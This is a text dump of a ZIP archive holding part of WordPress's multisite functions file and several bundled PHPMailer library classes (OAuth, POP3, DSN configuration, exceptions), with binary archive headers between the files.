@since 3.1.0 */ function wp_schedule_update_network_counts() { if ( ! is_main_site() ) { return; } if ( ! wp_next_scheduled( 'update_network_counts' ) && ! wp_installing() ) { wp_schedule_event( time(), 'twicedaily', 'update_network_counts' ); } } /** * Updates the network-wide counts for the current network. * * @since 3.1.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_update_network_counts( $network_id = null ) { wp_update_network_user_counts( $network_id ); wp_update_network_site_counts( $network_id ); } /** * Updates the count of sites for the current network. * * If enabled through the {@see 'enable_live_network_counts'} filter, update the sites count * on a network when a site is created or its status is updated. * * @since 3.7.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_maybe_update_network_site_counts( $network_id = null ) { $is_small_network = ! wp_is_large_network( 'sites', $network_id ); /** * Filters whether to update network site or user counts when a new site is created. * * @since 3.7.0 * * @see wp_is_large_network() * * @param bool $small_network Whether the network is considered small. * @param string $context Context. Either 'users' or 'sites'. */ if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'sites' ) ) { return; } wp_update_network_site_counts( $network_id ); } /** * Updates the network-wide users count. * * If enabled through the {@see 'enable_live_network_counts'} filter, update the users count * on a network when a user is created or its status is updated. * * @since 3.7.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_maybe_update_network_user_counts( $network_id = null ) { $is_small_network = ! wp_is_large_network( 'users', $network_id ); /** This filter is documented in wp-includes/ms-functions.php */ if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'users' ) ) { return; } wp_update_network_user_counts( $network_id ); } /** * Updates the network-wide site count. * * @since 3.7.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_update_network_site_counts( $network_id = null ) { $network_id = (int) $network_id; if ( ! $network_id ) { $network_id = get_current_network_id(); } $count = get_sites( array( 'network_id' => $network_id, 'spam' => 0, 'deleted' => 0, 'archived' => 0, 'count' => true, 'update_site_meta_cache' => false, ) ); update_network_option( $network_id, 'blog_count', $count ); } /** * Updates the network-wide user count. * * @since 3.7.0 * @since 4.8.0 The `$network_id` parameter has been added. * @since 6.0.0 This function is now a wrapper for wp_update_user_counts(). * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_update_network_user_counts( $network_id = null ) { wp_update_user_counts( $network_id ); } /** * Returns the space used by the current site. * * @since 3.5.0 * * @return int Used space in megabytes. */ function get_space_used() { /** * Filters the amount of storage space used by the current site, in megabytes. * * @since 3.5.0 * * @param int|false $space_used The amount of used space, in megabytes. Default false. */ $space_used = apply_filters( 'pre_get_space_used', false ); if ( false === $space_used ) { $upload_dir = wp_upload_dir(); $space_used = get_dirsize( $upload_dir['basedir'] ) / MB_IN_BYTES; } return $space_used; } /** * Returns the upload quota for the current blog. * * @since MU (3.0.0) * * @return int Quota in megabytes. */ function get_space_allowed() { $space_allowed = get_option( 'blog_upload_space' ); if ( ! is_numeric( $space_allowed ) ) { $space_allowed = get_site_option( 'blog_upload_space' ); } if ( ! is_numeric( $space_allowed ) ) { $space_allowed = 100; } /** * Filters the upload quota for the current site. * * @since 3.7.0 * * @param int $space_allowed Upload quota in megabytes for the current blog. */ return apply_filters( 'get_space_allowed', $space_allowed ); } /** * Determines if there is any upload space left in the current blog's quota. * * @since 3.0.0 * * @return int of upload space available in bytes. */ function get_upload_space_available() { $allowed = get_space_allowed(); if ( $allowed < 0 ) { $allowed = 0; } $space_allowed = $allowed * MB_IN_BYTES; if ( get_site_option( 'upload_space_check_disabled' ) ) { return $space_allowed; } $space_used = get_space_used() * MB_IN_BYTES; if ( ( $space_allowed - $space_used ) <= 0 ) { return 0; } return $space_allowed - $space_used; } /** * Determines if there is any upload space left in the current blog's quota. * * @since 3.0.0 * @return bool True if space is available, false otherwise. */ function is_upload_space_available() { if ( get_site_option( 'upload_space_check_disabled' ) ) { return true; } return (bool) get_upload_space_available(); } /** * Filters the maximum upload file size allowed, in bytes. * * @since 3.0.0 * * @param int $size Upload size limit in bytes. * @return int Upload size limit in bytes. */ function upload_size_limit_filter( $size ) { $fileupload_maxk = (int) get_site_option( 'fileupload_maxk', 1500 ); $max_fileupload_in_bytes = KB_IN_BYTES * $fileupload_maxk; if ( get_site_option( 'upload_space_check_disabled' ) ) { return min( $size, $max_fileupload_in_bytes ); } return min( $size, $max_fileupload_in_bytes, get_upload_space_available() ); } /** * Determines whether or not we have a large network. * * The default criteria for a large network is either more than 10,000 users or more than 10,000 sites. * Plugins can alter this criteria using the {@see 'wp_is_large_network'} filter. * * @since 3.3.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param string $using 'sites' or 'users'. Default is 'sites'. * @param int|null $network_id ID of the network. Default is the current network. * @return bool True if the network meets the criteria for large. False otherwise. */ function wp_is_large_network( $using = 'sites', $network_id = null ) { $network_id = (int) $network_id; if ( ! $network_id ) { $network_id = get_current_network_id(); } if ( 'users' === $using ) { $count = get_user_count( $network_id ); $is_large_network = wp_is_large_user_count( $network_id ); /** * Filters whether the network is considered large. * * @since 3.3.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param bool $is_large_network Whether the network has more than 10000 users or sites. * @param string $component The component to count. Accepts 'users', or 'sites'. * @param int $count The count of items for the component. * @param int $network_id The ID of the network being checked. */ return apply_filters( 'wp_is_large_network', $is_large_network, 'users', $count, $network_id ); } $count = get_blog_count( $network_id ); /** This filter is documented in wp-includes/ms-functions.php */ return apply_filters( 'wp_is_large_network', $count > 10000, 'sites', $count, $network_id ); } /** * Retrieves a list of reserved site on a sub-directory Multisite installation. * * @since 4.4.0 * * @return string[] Array of reserved names. */ function get_subdirectory_reserved_names() { $names = array( 'page', 'comments', 'blog', 'files', 'feed', 'wp-admin', 'wp-content', 'wp-includes', 'wp-json', 'embed', ); /** * Filters reserved site names on a sub-directory Multisite installation. * * @since 3.0.0 * @since 4.4.0 'wp-admin', 'wp-content', 'wp-includes', 'wp-json', and 'embed' were added * to the reserved names list. * * @param string[] $subdirectory_reserved_names Array of reserved names. */ return apply_filters( 'subdirectory_reserved_names', $names ); } /** * Sends a confirmation request email when a change of network admin email address is attempted. * * The new network admin address will not become active until confirmed. * * @since 4.9.0 * * @param string $old_value The old network admin email address. * @param string $value The proposed new network admin email address. */ function update_network_option_new_admin_email( $old_value, $value ) { if ( get_site_option( 'admin_email' ) === $value || ! is_email( $value ) ) { return; } $hash = md5( $value . time() . mt_rand() ); $new_admin_email = array( 'hash' => $hash, 'newemail' => $value, ); update_site_option( 'network_admin_hash', $new_admin_email ); $switched_locale = switch_to_user_locale( get_current_user_id() ); /* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */ $email_text = __( 'Howdy ###USERNAME###, You recently requested to have the network admin email address on your network changed. If this is correct, please click on the following link to change it: ###ADMIN_URL### You can safely ignore and delete this email if you do not want to take this action. This email has been sent to ###EMAIL### Regards, All at ###SITENAME### ###SITEURL###' ); /** * Filters the text of the email sent when a change of network admin email address is attempted. * * The following strings have a special meaning and will get replaced dynamically: * * - `###USERNAME###` The current user's username. * - `###ADMIN_URL###` The link to click on to confirm the email change. * - `###EMAIL###` The proposed new network admin email address. * - `###SITENAME###` The name of the network. * - `###SITEURL###` The URL to the network. * * @since 4.9.0 * * @param string $email_text Text in the email. * @param array $new_admin_email { * Data relating to the new network admin email address. * * @type string $hash The secure hash used in the confirmation link URL. * @type string $newemail The proposed new network admin email address. * } */ $content = apply_filters( 'new_network_admin_email_content', $email_text, $new_admin_email ); $current_user = wp_get_current_user(); $content = str_replace( '###USERNAME###', $current_user->user_login, $content ); $content = str_replace( '###ADMIN_URL###', esc_url( network_admin_url( 'settings.php?network_admin_hash=' . $hash ) ), $content ); $content = str_replace( '###EMAIL###', $value, $content ); $content = str_replace( '###SITENAME###', wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ), $content ); $content = str_replace( '###SITEURL###', network_home_url(), $content ); wp_mail( $value, sprintf( /* translators: Email change notification email subject. %s: Network title. */ __( '[%s] Network Admin Email Change Request' ), wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ) ), $content ); if ( $switched_locale ) { restore_previous_locale(); } } /** * Sends an email to the old network admin email address when the network admin email address changes. * * @since 4.9.0 * * @param string $option_name The relevant database option name. * @param string $new_email The new network admin email address. * @param string $old_email The old network admin email address. * @param int $network_id ID of the network. */ function wp_network_admin_email_change_notification( $option_name, $new_email, $old_email, $network_id ) { $send = true; // Don't send the notification for an empty email address or the default 'admin_email' value. if ( empty( $old_email ) || 'you@example.com' === $old_email ) { $send = false; } /** * Filters whether to send the network admin email change notification email. * * @since 4.9.0 * * @param bool $send Whether to send the email notification. * @param string $old_email The old network admin email address. * @param string $new_email The new network admin email address. * @param int $network_id ID of the network. */ $send = apply_filters( 'send_network_admin_email_change_email', $send, $old_email, $new_email, $network_id ); if ( ! $send ) { return; } /* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */ $email_change_text = __( 'Hi, This notice confirms that the network admin email address was changed on ###SITENAME###. The new network admin email address is ###NEW_EMAIL###. This email has been sent to ###OLD_EMAIL### Regards, All at ###SITENAME### ###SITEURL###' ); $email_change_email = array( 'to' => $old_email, /* translators: Network admin email change notification email subject. %s: Network title. */ 'subject' => __( '[%s] Network Admin Email Changed' ), 'message' => $email_change_text, 'headers' => '', ); // Get network name. $network_name = wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ); /** * Filters the contents of the email notification sent when the network admin email address is changed. * * @since 4.9.0 * * @param array $email_change_email { * Used to build wp_mail(). * * @type string $to The intended recipient. * @type string $subject The subject of the email. * @type string $message The content of the email. * The following strings have a special meaning and will get replaced dynamically: * - `###OLD_EMAIL###` The old network admin email address. * - `###NEW_EMAIL###` The new network admin email address. * - `###SITENAME###` The name of the network. * - `###SITEURL###` The URL to the site. * @type string $headers Headers. * } * @param string $old_email The old network admin email address. * @param string $new_email The new network admin email address. * @param int $network_id ID of the network. */ $email_change_email = apply_filters( 'network_admin_email_change_email', $email_change_email, $old_email, $new_email, $network_id ); $email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITENAME###', $network_name, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] ); wp_mail( $email_change_email['to'], sprintf( $email_change_email['subject'], $network_name ), $email_change_email['message'], $email_change_email['headers'] ); } PK!»{ÏÏPHPMailer/OAuth.phpnuȯÝí * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; use League\OAuth2\Client\Grant\RefreshToken; use League\OAuth2\Client\Provider\AbstractProvider; use League\OAuth2\Client\Token\AccessToken; /** * OAuth - OAuth2 authentication wrapper class. * Uses the oauth2-client package from the League of Extraordinary Packages. * * @see https://oauth2-client.thephpleague.com * * @author Marcus Bointon (Synchro/coolbru) */ class OAuth implements OAuthTokenProvider { /** * An instance of the League OAuth Client Provider. * * @var AbstractProvider */ protected $provider; /** * The current OAuth access token. * * @var AccessToken */ protected $oauthToken; /** * The user's email address, usually used as the login ID * and also the from address when sending email. * * @var string */ protected $oauthUserEmail = ''; /** * The client secret, generated in the app definition of the service you're connecting to. * * @var string */ protected $oauthClientSecret = ''; /** * The client ID, generated in the app definition of the service you're connecting to. * * @var string */ protected $oauthClientId = ''; /** * The refresh token, used to obtain new AccessTokens. * * @var string */ protected $oauthRefreshToken = ''; /** * OAuth constructor. * * @param array $options Associative array containing * `provider`, `userName`, `clientSecret`, `clientId` and `refreshToken` elements */ public function __construct($options) { $this->provider = $options['provider']; $this->oauthUserEmail = $options['userName']; $this->oauthClientSecret = $options['clientSecret']; $this->oauthClientId = $options['clientId']; $this->oauthRefreshToken = $options['refreshToken']; } /** * Get a new RefreshToken. * * @return RefreshToken */ protected function getGrant() { return new RefreshToken(); } /** * Get a new AccessToken. * * @return AccessToken */ protected function getToken() { return $this->provider->getAccessToken( $this->getGrant(), ['refresh_token' => $this->oauthRefreshToken] ); } /** * Generate a base64-encoded OAuth token. * * @return string */ public function getOauth64() { //Get a new token if it's not available or has expired if (null === $this->oauthToken || $this->oauthToken->hasExpired()) { $this->oauthToken = $this->getToken(); } return base64_encode( 'user=' . $this->oauthUserEmail . "\001auth=Bearer " . $this->oauthToken . "\001\001" ); } } PK!ðÕÔã?0?0PHPMailer/POP3.phpnuȯÝí * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer POP-Before-SMTP Authentication Class. * Specifically for PHPMailer to use for RFC1939 POP-before-SMTP authentication. * 1) This class does not support APOP authentication. * 2) Opening and closing lots of POP3 connections can be quite slow. If you need * to send a batch of emails then just perform the authentication once at the start, * and then loop through your mail sending script. Providing this process doesn't * take longer than the verification period lasts on your POP3 server, you should be fine. * 3) This is really ancient technology; you should only need to use it to talk to very old systems. * 4) This POP3 class is deliberately lightweight and incomplete, implementing just * enough to do authentication. * If you want a more complete class there are other POP3 classes for PHP available. * * @author Richard Davey (original author) * @author Marcus Bointon (Synchro/coolbru) * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) */ class POP3 { /** * The POP3 PHPMailer Version number. * * @var string */ const VERSION = '7.0.0'; /** * Default POP3 port number. * * @var int */ const DEFAULT_PORT = 110; /** * Default timeout in seconds. * * @var int */ const DEFAULT_TIMEOUT = 30; /** * POP3 class debug output mode. * Debug output level. * Options: * @see POP3::DEBUG_OFF: No output * @see POP3::DEBUG_SERVER: Server messages, connection/server errors * @see POP3::DEBUG_CLIENT: Client and Server messages, connection/server errors * * @var int */ public $do_debug = self::DEBUG_OFF; /** * POP3 mail server hostname. * * @var string */ public $host; /** * POP3 port number. * * @var int */ public $port; /** * POP3 Timeout Value in seconds. * * @var int */ public $tval; /** * POP3 username. * * @var string */ public $username; /** * POP3 password. * * @var string */ public $password; /** * Resource handle for the POP3 connection socket. * * @var resource */ protected $pop_conn; /** * Are we connected? * * @var bool */ protected $connected = false; /** * Error container. * * @var array */ protected $errors = []; /** * Line break constant. */ const LE = "\r\n"; /** * Debug level for no output. * * @var int */ const DEBUG_OFF = 0; /** * Debug level to show server -> client messages * also shows clients connection errors or errors from server * * @var int */ const DEBUG_SERVER = 1; /** * Debug level to show client -> server and server -> client messages. * * @var int */ const DEBUG_CLIENT = 2; /** * Simple static wrapper for all-in-one POP before SMTP. * * @param string $host The hostname to connect to * @param int|bool $port The port number to connect to * @param int|bool $timeout The timeout value * @param string $username * @param string $password * @param int $debug_level * * @return bool */ public static function popBeforeSmtp( $host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0 ) { $pop = new self(); return $pop->authorise($host, $port, $timeout, $username, $password, $debug_level); } /** * Authenticate with a POP3 server. * A connect, login, disconnect sequence * appropriate for POP-before SMTP authorisation. * * @param string $host The hostname to connect to * @param int|bool $port The port number to connect to * @param int|bool $timeout The timeout value * @param string $username * @param string $password * @param int $debug_level * * @return bool */ public function authorise($host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0) { $this->host = $host; //If no port value provided, use default if (false === $port) { $this->port = static::DEFAULT_PORT; } else { $this->port = (int) $port; } //If no timeout value provided, use default if (false === $timeout) { $this->tval = static::DEFAULT_TIMEOUT; } else { $this->tval = (int) $timeout; } $this->do_debug = $debug_level; $this->username = $username; $this->password = $password; //Reset the error log $this->errors = []; //Connect $result = $this->connect($this->host, $this->port, $this->tval); if ($result) { $login_result = $this->login($this->username, $this->password); if ($login_result) { $this->disconnect(); return true; } } //We need to disconnect regardless of whether the login succeeded $this->disconnect(); return false; } /** * Connect to a POP3 server. * * @param string $host * @param int|bool $port * @param int $tval * * @return bool */ public function connect($host, $port = false, $tval = 30) { //Are we already connected? if ($this->connected) { return true; } //On Windows this will raise a PHP Warning error if the hostname doesn't exist. //Rather than suppress it with @fsockopen, capture it cleanly instead set_error_handler(function () { call_user_func_array([$this, 'catchWarning'], func_get_args()); }); if (false === $port) { $port = static::DEFAULT_PORT; } //Connect to the POP3 server $errno = 0; $errstr = ''; $this->pop_conn = fsockopen( $host, //POP3 Host $port, //Port # $errno, //Error Number $errstr, //Error Message $tval ); //Timeout (seconds) //Restore the error handler restore_error_handler(); //Did we connect? if (false === $this->pop_conn) { //It would appear not... $this->setError( "Failed to connect to server $host on port $port. errno: $errno; errstr: $errstr" ); return false; } //Increase the stream time-out stream_set_timeout($this->pop_conn, $tval, 0); //Get the POP3 server response $pop3_response = $this->getResponse(); //Check for the +OK if ($this->checkResponse($pop3_response)) { //The connection is established and the POP3 server is talking $this->connected = true; return true; } return false; } /** * Log in to the POP3 server. * Does not support APOP (RFC 2828, 4949). * * @param string $username * @param string $password * * @return bool */ public function login($username = '', $password = '') { if (!$this->connected) { $this->setError('Not connected to POP3 server'); return false; } if (empty($username)) { $username = $this->username; } if (empty($password)) { $password = $this->password; } //Send the Username $this->sendString("USER $username" . static::LE); $pop3_response = $this->getResponse(); if ($this->checkResponse($pop3_response)) { //Send the Password $this->sendString("PASS $password" . static::LE); $pop3_response = $this->getResponse(); if ($this->checkResponse($pop3_response)) { return true; } } return false; } /** * Disconnect from the POP3 server. */ public function disconnect() { // If could not connect at all, no need to disconnect if ($this->pop_conn === false) { return; } $this->sendString('QUIT' . static::LE); // RFC 1939 shows POP3 server sending a +OK response to the QUIT command. // Try to get it. Ignore any failures here. try { $this->getResponse(); } catch (Exception $e) { //Do nothing } //The QUIT command may cause the daemon to exit, which will kill our connection //So ignore errors here try { @fclose($this->pop_conn); } catch (Exception $e) { //Do nothing } // Clean up attributes. $this->connected = false; $this->pop_conn = false; } /** * Get a response from the POP3 server. * * @param int $size The maximum number of bytes to retrieve * * @return string */ protected function getResponse($size = 128) { $response = fgets($this->pop_conn, $size); if ($this->do_debug >= self::DEBUG_SERVER) { echo 'Server -> Client: ', $response; } return $response; } /** * Send raw data to the POP3 server. * * @param string $string * * @return int */ protected function sendString($string) { if ($this->pop_conn) { if ($this->do_debug >= self::DEBUG_CLIENT) { //Show client messages when debug >= 2 echo 'Client -> Server: ', $string; } return fwrite($this->pop_conn, $string, strlen($string)); } return 0; } /** * Checks the POP3 server response. * Looks for for +OK or -ERR. * * @param string $string * * @return bool */ protected function checkResponse($string) { if (strpos($string, '+OK') !== 0) { $this->setError("Server reported an error: $string"); return false; } return true; } /** * Add an error to the internal error store. * Also display debug output if it's enabled. * * @param string $error */ protected function setError($error) { $this->errors[] = $error; if ($this->do_debug >= self::DEBUG_SERVER) { echo '
      ';
                  foreach ($this->errors as $e) {
                      print_r($e);
                  }
                  echo '
      '; } } /** * Get an array of error messages, if any. * * @return array */ public function getErrors() { return $this->errors; } /** * POP3 connection error handler. * * @param int $errno * @param string $errstr * @param string $errfile * @param int $errline */ protected function catchWarning($errno, $errstr, $errfile, $errline) { $this->setError( 'Connecting to the POP3 server raised a PHP warning:' . "errno: $errno errstr: $errstr; errfile: $errfile; errline: $errline" ); } } PK!$¡ÙããPHPMailer/DSNConfigurator.phpnuȯÝí * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2023 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * Configure PHPMailer with DSN string. * * @see https://en.wikipedia.org/wiki/Data_source_name * * @author Oleg Voronkovich */ class DSNConfigurator { /** * Create new PHPMailer instance configured by DSN. * * @param string $dsn DSN * @param bool $exceptions Should we throw external exceptions? * * @return PHPMailer */ public static function mailer($dsn, $exceptions = null) { static $configurator = null; if (null === $configurator) { $configurator = new DSNConfigurator(); } return $configurator->configure(new PHPMailer($exceptions), $dsn); } /** * Configure PHPMailer instance with DSN string. * * @param PHPMailer $mailer PHPMailer instance * @param string $dsn DSN * * @return PHPMailer */ public function configure(PHPMailer $mailer, $dsn) { $config = $this->parseDSN($dsn); $this->applyConfig($mailer, $config); return $mailer; } /** * Parse DSN string. * * @param string $dsn DSN * * @throws Exception If DSN is malformed * * @return array Configuration */ private function parseDSN($dsn) { $config = $this->parseUrl($dsn); if (false === $config || !isset($config['scheme']) || !isset($config['host'])) { throw new Exception('Malformed DSN'); } if (isset($config['query'])) { parse_str($config['query'], $config['query']); } return $config; } /** * Apply configuration to mailer. * * @param PHPMailer $mailer PHPMailer instance * @param array $config Configuration * * @throws Exception If scheme is invalid */ private function applyConfig(PHPMailer $mailer, $config) { switch ($config['scheme']) { case 'mail': $mailer->isMail(); break; case 'sendmail': $mailer->isSendmail(); break; case 'qmail': $mailer->isQmail(); break; case 'smtp': case 'smtps': $mailer->isSMTP(); $this->configureSMTP($mailer, $config); break; default: throw new Exception( sprintf( 'Invalid scheme: "%s". Allowed values: "mail", "sendmail", "qmail", "smtp", "smtps".', $config['scheme'] ) ); } if (isset($config['query'])) { $this->configureOptions($mailer, $config['query']); } } /** * Configure SMTP. * * @param PHPMailer $mailer PHPMailer instance * @param array $config Configuration */ private function configureSMTP($mailer, $config) { $isSMTPS = 'smtps' === $config['scheme']; if ($isSMTPS) { $mailer->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; } $mailer->Host = $config['host']; if (isset($config['port'])) { $mailer->Port = $config['port']; } elseif ($isSMTPS) { $mailer->Port = SMTP::DEFAULT_SECURE_PORT; } $mailer->SMTPAuth = isset($config['user']) || isset($config['pass']); if (isset($config['user'])) { $mailer->Username = $config['user']; } if (isset($config['pass'])) { $mailer->Password = $config['pass']; } } /** * Configure options. * * @param PHPMailer $mailer PHPMailer instance * @param array $options Options * * @throws Exception If option is unknown */ private function configureOptions(PHPMailer $mailer, $options) { $allowedOptions = get_object_vars($mailer); unset($allowedOptions['Mailer']); unset($allowedOptions['SMTPAuth']); unset($allowedOptions['Username']); unset($allowedOptions['Password']); unset($allowedOptions['Hostname']); unset($allowedOptions['Port']); unset($allowedOptions['ErrorInfo']); $allowedOptions = \array_keys($allowedOptions); foreach ($options as $key => $value) { if (!in_array($key, $allowedOptions)) { throw new Exception( sprintf( 'Unknown option: "%s". Allowed values: "%s"', $key, implode('", "', $allowedOptions) ) ); } switch ($key) { case 'AllowEmpty': case 'SMTPAutoTLS': case 'SMTPKeepAlive': case 'SingleTo': case 'UseSendmailOptions': case 'do_verp': case 'DKIM_copyHeaderFields': $mailer->$key = (bool) $value; break; case 'Priority': case 'SMTPDebug': case 'WordWrap': $mailer->$key = (int) $value; break; default: $mailer->$key = $value; break; } } } /** * Parse a URL. * Wrapper for the built-in parse_url function to work around a bug in PHP 5.5. * * @param string $url URL * * @return array|false */ protected function parseUrl($url) { if (\PHP_VERSION_ID >= 50600 || false === strpos($url, '?')) { return parse_url($url); } $chunks = explode('?', $url); if (is_array($chunks)) { $result = parse_url($chunks[0]); if (is_array($result)) { $result['query'] = $chunks[1]; } return $result; } return false; } } PK!b‹èèPHPMailer/Exception.phpnuȯÝí * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer exception handler. * * @author Marcus Bointon */ class Exception extends \Exception { /** * Prettify error message output. * * @return string */ public function errorMessage() { return '' . htmlspecialchars($this->getMessage(), ENT_COMPAT | ENT_HTML401) . "
      \n"; } } PK!6ûê›9ê9êPHPMailer/PHPMailer.phpnuȯÝí * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer - PHP email creation and transport class. * * @author Marcus Bointon (Synchro/coolbru) * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) */ class PHPMailer { const CHARSET_ASCII = 'us-ascii'; const CHARSET_ISO88591 = 'iso-8859-1'; const CHARSET_UTF8 = 'utf-8'; const CONTENT_TYPE_PLAINTEXT = 'text/plain'; const CONTENT_TYPE_TEXT_CALENDAR = 'text/calendar'; const CONTENT_TYPE_TEXT_HTML = 'text/html'; const CONTENT_TYPE_MULTIPART_ALTERNATIVE = 'multipart/alternative'; const CONTENT_TYPE_MULTIPART_MIXED = 'multipart/mixed'; const CONTENT_TYPE_MULTIPART_RELATED = 'multipart/related'; const ENCODING_7BIT = '7bit'; const ENCODING_8BIT = '8bit'; const ENCODING_BASE64 = 'base64'; const ENCODING_BINARY = 'binary'; const ENCODING_QUOTED_PRINTABLE = 'quoted-printable'; const ENCRYPTION_STARTTLS = 'tls'; const ENCRYPTION_SMTPS = 'ssl'; const ICAL_METHOD_REQUEST = 'REQUEST'; const ICAL_METHOD_PUBLISH = 'PUBLISH'; const ICAL_METHOD_REPLY = 'REPLY'; const ICAL_METHOD_ADD = 'ADD'; const ICAL_METHOD_CANCEL = 'CANCEL'; const ICAL_METHOD_REFRESH = 'REFRESH'; const ICAL_METHOD_COUNTER = 'COUNTER'; const ICAL_METHOD_DECLINECOUNTER = 'DECLINECOUNTER'; /** * Email priority. * Options: null (default), 1 = High, 3 = Normal, 5 = low. * When null, the header is not set at all. * * @var int|null */ public $Priority; /** * The character set of the message. * * @var string */ public $CharSet = self::CHARSET_ISO88591; /** * The MIME Content-type of the message. * * @var string */ public $ContentType = self::CONTENT_TYPE_PLAINTEXT; /** * The message encoding. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable". * * @var string */ public $Encoding = self::ENCODING_8BIT; /** * Holds the most recent mailer error message. * * @var string */ public $ErrorInfo = ''; /** * The From email address for the message. * * @var string */ public $From = ''; /** * The From name of the message. * * @var string */ public $FromName = ''; /** * The envelope sender of the message. * This will usually be turned into a Return-Path header by the receiver, * and is the address that bounces will be sent to. * If not empty, will be passed via `-f` to sendmail or as the 'MAIL FROM' value over SMTP. * * @var string */ public $Sender = ''; /** * The Subject of the message. * * @var string */ public $Subject = ''; /** * An HTML or plain text message body. * If HTML then call isHTML(true). * * @var string */ public $Body = ''; /** * The plain-text message body. * This body can be read by mail clients that do not have HTML email * capability such as mutt & Eudora. * Clients that can read HTML will view the normal Body. * * @var string */ public $AltBody = ''; /** * An iCal message part body. * Only supported in simple alt or alt_inline message types * To generate iCal event structures, use classes like EasyPeasyICS or iCalcreator. * * @see https://kigkonsult.se/iCalcreator/ * * @var string */ public $Ical = ''; /** * Value-array of "method" in Contenttype header "text/calendar" * * @var string[] */ protected static $IcalMethods = [ self::ICAL_METHOD_REQUEST, self::ICAL_METHOD_PUBLISH, self::ICAL_METHOD_REPLY, self::ICAL_METHOD_ADD, self::ICAL_METHOD_CANCEL, self::ICAL_METHOD_REFRESH, self::ICAL_METHOD_COUNTER, self::ICAL_METHOD_DECLINECOUNTER, ]; /** * The complete compiled MIME message body. * * @var string */ protected $MIMEBody = ''; /** * The complete compiled MIME message headers. * * @var string */ protected $MIMEHeader = ''; /** * Extra headers that createHeader() doesn't fold in. * * @var string */ protected $mailHeader = ''; /** * Word-wrap the message body to this number of chars. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance. * * @see static::STD_LINE_LENGTH * * @var int */ public $WordWrap = 0; /** * Which method to use to send mail. * Options: "mail", "sendmail", or "smtp". * * @var string */ public $Mailer = 'mail'; /** * The path to the sendmail program. * * @var string */ public $Sendmail = '/usr/sbin/sendmail'; /** * Whether mail() uses a fully sendmail-compatible MTA. * One which supports sendmail's "-oi -f" options. * * @var bool */ public $UseSendmailOptions = true; /** * The email address that a reading confirmation should be sent to, also known as read receipt. * * @var string */ public $ConfirmReadingTo = ''; /** * The hostname to use in the Message-ID header and as default HELO string. * If empty, PHPMailer attempts to find one with, in order, * $_SERVER['SERVER_NAME'], 